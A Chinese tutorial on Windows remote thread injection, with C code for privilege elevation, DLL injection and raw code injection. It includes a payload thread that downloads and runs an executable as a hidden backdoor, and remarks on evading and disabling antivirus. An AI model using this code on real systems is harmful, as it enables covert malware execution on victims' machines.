遠程線程注入引出的問題
一、遠程線程注入基本原理
遠程線程注入——相信對Windows底層編程和系統安全熟悉的人並不陌生,其主要核心在於一個Windows API函數CreateRemoteThread,通過它可以在另外一個進程中注入一個線程並執行。在提供便利的同時,正是因為如此,使得系統內部出現了安全隱患。常用的注入手段有兩種:一種是遠程的dll的注入,另一種是遠程代碼的注入。后者相對起來更加隱蔽,也更難被殺軟檢測。本文具體實現這兩種操作,在介紹相關API使用的同時,也會解決由此引發的一些問題。
顧名思義,遠程線程注入就是在非本地進程中創建一個新的線程。相比而言,本地創建線程的方法很簡單,系統API函數CreateThread可以在本地創建一個新的線程,其函數聲明如下:
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
PDWORD lpThreadId
);
這里最關心的兩個參數是lpStartAddress和lpParameter,它們分別代表線程函數的入口和參數,其他參數一般設置為0即可。由於參數的類型是LPVOID,因此傳入的參數數據需要用戶自己定義,而入口函數地址類型必須是LPTHREAD_START_ROUTINE類型。LPTHREAD_START_ROUTINE類型定義為:
typedef PTHREAD_START_ROUTINE LPTHREAD_START_ROUTINE;
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId
);
第一個參數表示打開進程所要的訪問權限,一般使用PROCESS_ALL_ACCESS來獲得所有權限,第二個參數表示進程的繼承屬性,這里設置為false,最關鍵的參數是第三個參數——進程的ID。因此在此之前必須獲得進程名字和PID的對應關系,TlHelp32.h庫內提供的函數CreateToolhelp32Snapshot、Process32First、Process32Next提供了對當前進程的遍歷訪問,使用這里有段公用代碼可以使用:
DWORD getPid(LPTSTR name)
{
HANDLE hProcSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // 獲取進程快照句柄
assert(hProcSnap!=INVALID_HANDLE_VALUE);
PROCESSENTRY32 pe32;
pe32.dwSize= sizeof(PROCESSENTRY32);
BOOL flag=Process32First(hProcSnap,&pe32); // 獲取列表的第一個進程
while(flag)
{
if(!_tcscmp(pe32.szExeFile,name))
{
CloseHandle(hProcSnap);
return pe32.th32ProcessID; // pid
}
flag=Process32Next(hProcSnap,&pe32); // 獲取下一個進程
}
CloseHandle(hProcSnap);
return 0;
}
int EnableDebugPrivilege( const LPTSTR name)
{
HANDLE token;
TOKEN_PRIVILEGES tp;
// 打開進程令牌環
if(!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&token))
{
cout<< " open process token error!\n ";
return 0;
}
// 獲得進程本地唯一ID
LUID luid;
if(!LookupPrivilegeValue(NULL,name,&luid))
{
cout<< " lookup privilege value error!\n ";
return 0;
}
tp.PrivilegeCount= 1;
tp.Privileges[ 0].Attributes=SE_PRIVILEGE_ENABLED;
tp.Privileges[ 0].Luid=luid;
// 調整進程權限
if(!AdjustTokenPrivileges(token, 0,&tp, sizeof(TOKEN_PRIVILEGES),NULL,NULL))
{
cout<< " adjust token privilege error!\n ";
return 0;
}
return 1;
}
通過調用EnableDebugPrivilege(SE_DEBUG_NAME)提高本地程序權限后就可以打開系統進程了。然后傳入進程句柄到CreateRemoteThread注入遠程進程,但是遺憾的是遠程線程無法運行,這里就引發了第二個問題。CreateRemoteThread和CreateThread並不僅僅是多了一個進程句柄參數那么簡單,其中更大的區別是它們的函數入口和參數的區別。CreateThread是創建本地線程,函數入口地址和參數都在本地進程,這很好理解,但是CreateRemoteThread創建的是其他進程的線程,它的入口地址和參數就該在其他進程中。如果強行把本地地址和參數傳入,雖然編譯上能通過,但是運行時侯被注入的進程會查找和本地進程相同值的地址和參數地址,當然結果可想而知,這就像拿着一號公寓201的鑰匙去開二號公寓201的門一樣。(或許在這里讀者會有這個想法,可不可以遠程注入本地進程呢?雖然這么做沒什么意義,希望有興趣的讀者可以試一試,看看能否成功。)
既然這樣,那么如何告訴遠程線程需要執行的代碼和地址呢?繼續上邊那個例子,假設在一號公寓201房間內可以使用高功率電器,但是一號公寓檢查嚴格,一旦有此情況立馬被禁止。而二號公寓戒備很松,所以有人想辦法在二號公寓新准備一個空的房間專門使用高功率電器,這樣即回避了檢查,也達到了目的。這里一號公寓相當於本地進程,二號公寓相當於系統進程,使用高功率電器相當於黑客的行為,准備新的房間相當於開辟新的存儲空間,禁止使用高功率電器相當於殺軟的查殺。那么這里就需要關心如何在二號公寓新建一個房間,這里系統有兩個API函數VirtualAllocEx和WriteProcessMemory,顧名思義,前者在遠程進程中申請一段內存用於存儲數據或者代碼——准備房間,后者在申請的空間內寫入數據或者代碼——准備高功率電器。參看一下他們的聲明就一目了然:
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
VirtualAllocEx指定了進程和申請內存塊的大小以及內存塊的訪問權限,並且返回申請后的內存首地址——這個地址是遠程進程中的地址,在本地進程沒有任何意義。一般函數調用形式如下:
這樣就在進程hProc中申請到了一個1024字節大小的可讀可寫的內存塊。
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T * lpNumberOfBytesWritten
);
這個函數和memcpy功能和形式都很類似,本質上就是緩沖區的復制,將數據lpBuffer[nSize]的數據復制到hProcess:lpBaseAddress[nSize]中去。
這樣CreateRemoteThread的參數就很好設置了,線程入口函數地址找不到——申請一段空間放上代碼,返回代碼首地址;參數地址找不到——申請一段空間放上數據,返回數據首地址;這樣房間,電器,原料都已齊全了,使用CreateRemoteThread啟動電器就可以加工了!這種思維很合乎邏輯,但是實現起來較為復雜,這是稍后介紹的代碼注入方式。不過在這之前我們需要看一種更簡單的dll注入方式,說起dll我們需要聲明兩點關鍵的內容:
二、遠程線程DLL注入
首先,我們需要知道Win32程序在運行時都會加載一個名為kernel32.dll的文件,而且Windows默認的是同一個系統中dll的文件加載位置是固定的。我們又知道dll里有一系列按序排列的輸出函數,因此這些函數在任何進程的地址空間中的位置是固定的!!!例如本地進程中MessageBox函數的地址和其他任何進程的MessageBox的地址是一樣的。
其次,我們需要知道動態加載dll文件需要系統API LoadLibraryA或者LoadLibraryW,由於使用MBCS字符集,這里我們只關心LoadLibraryA,而這個函數正是kernel32.dll的導出函數!!!因此我們就能在本地進程獲得了LoadLibraryA的地址,然后告訴遠程進程這就是遠程線程入口地址,那么遠程線程就會自動的執行LoadLibraryA這個函數。這就像我們已經知道二號公寓和一號公寓一樣,在201房間都可以使用高功率電器,那何必還要重新造一個新的房間放電器呢。
高功率電器可以搞定,但是即使煮飯也總要有米和水的。函數可以偽造代替,但是參數是不能偽造代替的。因此用前邊的方法,我們申請一個新的房間專門存放糧食,待用到的時候取便是。我們知道LoadLibraryA的參數就是要加載的dll的路徑,為了保險起見,我們把要注入的dll的路徑字符串注入到遠程進程空間中,這樣返回的地址就是LoadLibraryA的參數字符串的地址,將這兩個地址分別作為入口和參數傳入CreateRemoteThread就可以使得遠程進程加載我們自己的dll了。
說到這里,或許有人疑問這么折騰了半天,舉了這么多例子,僅僅加載了一個自定義dll進去,並沒有做任何“想做”的事情。其實,這里已經能做基本上任何事情了。因此dll是我們自己寫的,那么做什么事情就有我們自己來定,可能有人最疑惑的莫過於如何在加載dll以后立即執行我們真正想執行的代碼。這里就需要看一下一個簡單DLL工程。
使用VC或者VS創建一個Win32 DLL工程,源代碼可以這么寫:
{
switch(ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: // 加載時候
// do something
break;
default:
break;
}
return TRUE;
}
看到這個函數相信很多人一目了然了,在switch-case語句的case DLL_PROCESS_ATTACHE條件下就是執行用戶自定義代碼的地方,它執行的時機就是在DLL被任何一個進程加載的時候,這也就解決了第三個用戶代碼啟動的問題,至於寫什么有你自己決定。其實DLL項目這個主函數不是必須的,因為dll的目的是導出函數,不過這里我們不用這些知識,感興趣的讀者可以參考其他dll開發資料。
從開始敘述到這里就是一個DLL遠程注入的所有的細節的描述了,相信讀者通過實驗就可以驗證。但是當你運行的時候你會發現360,金山,瑞星這群殺軟就開始忙活個不停了,不斷的提示你木馬后門的存在,本人強烈建議此時你把它們輕輕的關掉!從這里也可以看出一個問題,DLL遠程注入的方式已經被多數殺軟主動攔截了,它們會把不可信的dll統統拉為黑名單,作為后門程序處理。這樣不得不讓我們回歸原始,放棄dll回到我們最初的設想——自己注入代碼,這種方式殺軟的提示效果如何呢,我們拭目以待。
三、遠程線程代碼注入
既然使用LoadLibraryA加載DLL執行啟動代碼並不能達到很好的效果,那么我們就想辦法直接寫代碼直接讓遠程線程執行。
這里主要關心的就是代碼的問題,因為線程函數參數傳遞方式和dll路徑的方法大同小異,代碼的注入卻和數據的注入有着很多不同。
首先,這是第四個問題,注入代碼如何書寫。通過類比CreateThread的函數入口,我們自然能想到,使用和CreateThread同樣形式的函數定義即可,即形為LPSECURITY_ATTRIBUTES的函數定義。但是這里最關鍵的不是函數的定義形式,而是函數內部代碼的限制。由於這段代碼,或者叫注入函數,是要“拷貝”到其他進程空間去的,因此這個函數不能使用任何全局變量、不能使用堆空間、不能調用本地定義的函數、不能調用一些庫函數等等。經測試,最保險的方式是:函數使用棧空間的局部變量是沒有問題的,因為匯編代碼將局部變量翻譯為相對地址;函數使用系統的API是沒有問題的,最可靠的是使用kernel32.dll內的函數,萬一使用其他dll庫的函數需要使用kernel32.dll導出函數LoadLibraryA加載對應的dll后,再使用kernel32.dll的導出函數GetProcAddress獲取函數地址,比如MessagBox函數。雖然限制很多,但是足可以寫出功能很強大的代碼,因為Windows的API可以自由的使用!!!
其次,即第五個問題,注入代碼如何定位。定位包含兩層含義:代碼的起始位置和代碼的長度。有人說這個簡單,起始位置就是函數名的值,長度雖然不好確定,就給一個比較大的值就可以了。這個思路是沒有問題的,但是實際上這么做並不一定成功!問題不在代碼長度上,而是出現在代碼的起始位置。為此我們專門做一個實驗:
我們寫一個最簡單的C程序:
圖1 執行結果
程序很簡單,就是輸出main函數的地址,通過調試我們看到了輸出結果是0x003d1131,但是我們監視main符號的值為0x003d1380!!!如果你也是第一次看到這個情況,相信你也會和我當初一樣驚訝,因為我們一般的思維是符號的值應該和輸出結果是一致的。為此,我們查看一下反匯編:
圖2 反匯編
地址0x011513A0出的push指令就是傳遞main符號的值作為printf的參數,而我們看到main函數的起始地址為0x01151380,但是這里傳遞的值為@ILT+300=0x1151131,而符號名被映射為_main,@ILT和_main是怎么回事?
圖3 ILT
原來從@ILT+0開始就是一系列的jmp指令,而_main就是一條jmp指令的地址,jmp的目的地址正好是main=0x1151380!這里我們可以猜測,編譯器為函數定義維護了一張表,名字叫ILT,所有對函數名的直接訪問都被映射為修飾后的函數名(一般都是原名字前加上下划線),在函數地址變化后不需要修改任何對函數調用的指令代碼,只需要修改這個表就可以了。那么ILT究竟叫什么名字呢?上網查一下資料發現它可能叫作Incremental Linking Table(增量鏈接表),其實名字叫什么不重要,重要的我們發現當初的結果不一致是由於編譯器的設置導致的。后來,我們發現原來這種設置是Debug模式下獨有的,如果將工程設置為Release模式就不會出現這種情況了。
那么我們如何處理Debug模式下的程序呢,其實方法還是有的。我們觀察ILT中每個跳轉指令的結構,我們發現它們都是相對跳轉指令(就是jmp到相對於下一條指令地址的某個偏移處)。因此我們可以通過對指令的解析計算出main函數的真正地址。
參考_main處的jmp指令,根據指令的二進制含義,我們知道E9是jmp指令的操作碼,其后邊跟着32位的立即數就是相對地址,由於x86是小字節序的,因此這個相對偏移應該是0x0000024A。_main位置的指令的下一條指令地址為0x01151136,那么真正的main符號地址=0x01151136+0x0000024A=0x01151380,正好是main函數定義的位置!具體轉化代碼如下:
unsigned int getFunRealAddr(LPVOID fun)
{
unsigned int realaddr=(unsigned int)fun; // 虛擬函數地址
// 計算函數真實地址
unsigned char* funaddr= (unsigned char*)fun;
if(funaddr[ 0]== 0xE9) // 判斷是否為虛擬函數地址,E9為jmp指令
{
int disp=*( int*)(funaddr+ 1); // 獲取跳轉指令的偏移量
realaddr+= 5+disp; // 修正為真實函數地址
}
return realaddr;
}
需要注意的是這個轉換函數只能針對本地定義的函數,如果是系統的庫函數就無能為力了,因為庫函數並沒有存在ILT中。
此處還有一個小細節,我們觀察編譯器在Debug下生成的函數的結尾處會有一連串很長的0xCC數據,即指令int 3,我猜測可能是為了對齊或者防止函數崩潰PC指針跳到非法位置來強制中斷,原因暫時不追究,但是這個特征可以方便我們計算函數的長度——天然的函數結束標記!
計算函數長度的代碼可以這么寫:
char*buf=( char*)getFunRealAddr(ThreadProc);
for( char*p=buf;ProcSize< 2048;ProcSize++,p++) // 掃描到第一組連續的8個int 3指令作為函數結束標記
{
if((unsigned long long)*(unsigned long long*)p
== 0xcccccccccccccccc) // 中斷指令int 3
{
break;
}
}
然后,當我們嘗試執行注入的代碼時候,卻總是出現異常。使用OllyDbg調試被注入的進程也的確看到代碼被寫入了指定的地址空間。這時候就需要考慮到內存頁的權限了,因為之前使用VirtualAllocEx申請內存的屬性是可讀可寫,但是對於存放代碼的內存必須設置為可讀可寫可執行才可以!!!這個細節作為第六個小問題。
這里可以在申請的時候設置:
也可以使用函數VirtualProtectEx進行屬性更改:
最后,按照上邊的要求寫出合理的代碼,計算出正確的函數起始地址和大小,然后申請空間存放代碼和參數,設置代碼空間屬性為可執行,使用CreateRemoteThread啟動函數執行,但是還是會出現異常,下邊是觸發異常的代碼。
struct RemotePara
{
TCHAR url[ 256]; // 下載地址
TCHAR filePath[ 256]; // 保存文件路徑
DWORD downAddr; // 下載函數的地址
DWORD execAddr; // 執行函數的地址
};
DWORD WINAPI ThreadProc(LPVOID lpara)
{
RemotePara*para=(RemotePara*)lpara;
typedef UINT (WINAPI*winExec)(LPTSTR cmdLine,UINT cmdShow); // 定義WinExec函數原型
typedef UINT (WINAPI*urlDownloadToFile)(LPUNKNOWN caller,LPTSTR url,LPTSTR fileName
,DWORD reserved,LPBINDSTATUSCALLBACK sts); // 定義URLDownloadToFile函數原型
urlDownloadToFile download;
download=(urlDownloadToFile)para->downAddr; // 獲取download函數地址
winExec exe;
exe=(winExec)para->execAddr; // 獲取exe函數地址
download( 0,para->url,para->filePath, 0,NULL); // 下載文件
exe(para->filePath,SW_SHOW); // 執行下載的文件
return 1;
}
代碼的含義很明確,參數中傳遞進來了事先已經計算好的API函數URLDownloadToFile和WinExec的地址以及需要的路徑參數,線程函數執行時從指定地址下載exe文件並執行之,這是一個典型的后門啟動。這里引出第七個問題,系統總是執行下載后觸發異常,如果刪除下載文件函數的調用,直接執行卻能夠成功,這也就說明該線程函數只能完成一次API調用。通過大量的分析可以確定這種異常是在函數調用后觸發的,而且導致了棧的崩潰。這里依舊查看反匯編:
圖 4 運行時檢查
我們發現在下載函數被調用結束后編譯器卻調用了一個名為_RTC_CheckEsp的函數,這個函數而且還存在ILT表有映射結構(在ILT偏移520處)。因此它的地位應該和本地定義的函數是相同的,而我們又知道注入代碼是不能調用本地函數的,這就有問題了,因為這段指令call 0xDA120D在另一個進程空間就不知道是什么了,出現異常是很正常的事情。為了保證程序的正常執行,這里有兩種做法,由於這個函數在ILT是有對應結構的,那么如果將項目修改為Release版本,那么這個檢查應該就會消失了,是不是這樣呢?
圖 5 Release的函數調用
果然在預料之中,Release的優化后的代碼已經很晦澀了,那個奇怪的函數調用就這么被刪除了。或許你和我一樣好奇這個函數存在的意義,通過查閱資料我們發現這個是運行時檢查的函數,透過它的名字可以看出端倪,主要檢查ESP寄存器的值,看來是保護棧的函數,在編譯器設置中是可以關閉這個開關的,這也就為Debug的程序提供了一個刪除運行時檢查的方案。
圖 6 運行時檢查設置
只要我們把運行時檢查設置為默認值就可以關閉這個開關了。你可以試試切換為Release版本,這個時候這個值也被設置為默認值了。
四、遠程線程注入技術總結
通過以上的介紹和實驗,我們可以總結如下:
遠程線程注入主要目的是通過在系統進程中產生遠程線程執行用戶代碼,而通過這種方式可以很好的實現本地進程的“隱藏”——其實不存在本地進程,因為注入線程后本地進程結束。
使用DLL的注入的方式比較簡單,用戶功能在DLL中實現,但很容易被殺軟作為后門程序查殺,隱蔽性比較差。
使用代碼注入方式比較復雜,考慮的問題較多,比如代碼頁屬性,代碼位置和大小和代碼的編寫格式等。但是經實驗測試發現,除了WinExec這樣的敏感API被殺軟攔截外,一般的不太敏感的危險操作,比如下載,都會正常的執行,這也給惡意用戶有了可乘之機。
當然,遠程注入並非是黑客的專利,使用這種技術本身就是很好的進程間控制的一種方式,技術有利有弊,在它給用戶帶來方便的同時也增添了潛在的風險,希望本文對你有所幫助。